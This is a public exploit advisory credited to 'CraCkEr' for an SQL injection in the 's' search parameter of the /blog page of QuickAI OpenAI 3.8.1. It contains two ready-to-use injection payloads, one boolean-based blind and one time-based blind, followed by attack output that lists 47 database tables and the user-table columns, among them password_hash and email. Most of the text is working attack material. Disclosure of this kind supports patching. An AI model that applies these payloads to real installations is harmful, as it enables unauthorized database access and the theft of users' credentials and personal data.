Share
## https://sploitus.com/exploit?id=PACKETSTORM:173371
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโ C r a C k E r โโ
โโ T H E C R A C K O F E T E R N A L M I G H T โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโ From The Ashes and Dust Rises An Unimaginable crack.... โโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโ [ Vulnerability ] โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
: Author : CraCkEr :
โ Website : https://quickai.bylancer.com/ โ
โ Vendor : bylancer โ
โ Software : QuickAI OpenAI 3.8.1 โ
โ Vuln Type: SQL Injection โ
โ Impact : Database Access โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
: :
โ Release Notes: โ
โ โโโโโโโโโโโโโ โ
โ โ
โ SQL injection attacks can allow unauthorized access to sensitive data, modification of โ
โ data and crash the application or make it unavailable, leading to lost revenue and โ
โ damage to a company's reputation. โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโ โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL, MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโ ยฉ CraCkEr 2023 โโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Path: /blog
https://website/blog?s=[SQLI]
GET parameter 's' is vulnerable to SQL Injection
---
Parameter: s (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: s=123') OR 08039=8039 OR ('04586'='4586
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: s=123'XOR(IF(now()=sysdate(),SLEEP(6),0))XOR'Z
---
[+] Starting the Attack
fetching current database
current database: 'quickai_**'
fetching tables
[47 tables]
+----------------------------+
| qa_faq_entries |
| qa_text_to_speech_used |
| qa_user_options |
| qa_ai_images |
| qa_logs |
| qa_orders |
| qa_adsense |
| qa_ai_speeches |
| qa_word_used |
| qa_ai_templates |
| qa_blog |
| qa_api_keys |
| qa_ai_chat_prompts |
| qa_blog_comment |
| qa_subscriber |
| qa_post_options |
| qa_admins |
| qa_transaction |
| qa_plans |
| qa_languages |
| qa_speech_to_text_used |
| qa_countries |
| qa_upgrades |
| qa_ai_template_categories |
| qa_affiliates |
| qa_image_used |
| qa_plan_options |
| qa_options |
| qa_blog_categories |
| qa_prepaid_plans |
| qa_ai_custom_templates |
| qa_payments |
| qa_user |
| qa_ai_documents |
| qa_withdrawal |
| qa_balance |
| qa_ai_chat_bots |
| qa_taxes |
| qa_time_zones |
| qa_currencies |
| qa_testimonials |
| qa_ai_chat |
| qa_blog_cat_relation |
| qa_pages |
| qa_ai_chat_conversations |
| qa_ai_chat_bots_categories |
| qa_post |
+----------------------------+
fetching columns for Table: qa_user
[49 columns]
+----------------+
| id |
| group_id |
| username |
| user_type |
| balance |
| password_hash |
| forgot |
| confirm |
| email |
| status |
| view |
| created_at |
| updated_at |
| name |
| tagline |
| description |
| dob |
| salary_min |
| salary_max |
| category |
| subcategory |
| website |
| sex |
| phone |
| postcode |
| address |
| country |
| city |
| city_code |
| state_code |
| country_code |
| image |
| lastactive |
| facebook |
| twitter |
| googleplus |
| instagram |
| linkedin |
| youtube |
| oauth_provider |
| oauth_uid |
| oauth_link |
| online |
| notify |
| notify_cat |
| currency |
| referral_key |
| referred_by |
| menu_layout |
+----------------+
[-] Done